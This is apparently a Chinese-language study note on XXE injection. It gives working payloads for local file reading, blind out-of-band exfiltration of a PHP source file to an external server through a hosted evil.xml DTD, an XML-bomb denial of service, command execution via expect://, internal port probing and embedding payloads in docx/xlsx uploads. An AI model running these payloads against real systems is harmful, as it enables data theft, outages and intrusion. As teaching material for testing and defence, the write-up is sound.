原文链接:https://www.yuque.com/ni4n/blogs/by3v79
XXE漏洞
简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
外部实体
XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以利用如下协议
声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
引用
一个实体的引用,由三部分构成:&符号, 实体名称, 分号。
参数实体
声明
内部:<!ENTITY % 实体名称 "实体值">
外部:<!ENTITY % 实体名称 SYSTEM "URI"
注意
(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 “%实体名;” 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用
读取任意文件
有回显读取
利用file协议
抓包发现响应包内容为username
构造payload
<?xml version="1.0"?>
<!DOCTYPE hack [
<!ENTITY test SYSTEM "file:///c:/windows/win.ini">
]>
<user><username>&test;</username><password>123456</password></user>
但是如果读取的文件里有<或者&时就会爆错,所以可以用php://flter协议
无回显读取
可以通过Blind XXE方法加上外带数据通道来提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器来读取数据。
比如自己服务器地址为192.168.59.132
则构造payload
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/PHPstudys/PHPTutorial/WWW/php_xxe/doLogin.php">
<!ENTITY % dtd SYSTEM "http://192.168.59.132/evil.xml">
%dtd;
%send;
]>
然后在服务器的web目录放一个evil.xml文件
内容如下
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.59.132/?content=%file;'>"> %payload;
DOS攻击(Denial of service:拒绝服务)
XML炸弹
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
当解析该文件时,由于递归引用,会使其展开后占用大量内存,但是目前服务器硬件大多能抵御此类攻击
命令执行
在php环境下,xml命令执行需要php装有expect扩展,但该扩展默认没有安装,但是测试时候可以尝试下
payload
<?xml version="1.0"?>
<!DOCTYPE root [ <!ELEMENT ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>&xxe;</root>
内网探测
和SSRF一样,利用http协议探测端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE user SYSTEM "http://192.168.1.223:999">
<user><username>&all;</username><password>132123</password></user>
利用docx&xlsx
在docx或xlsx上传处,往往会有XXE
方法:
用7z打开文件,把里面的XML文件拖出来
然后插入payload
然后复原,上传
参考
https://mature-sec.com/post/xxe%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/
https://xz.aliyun.com/t/6754#toc-15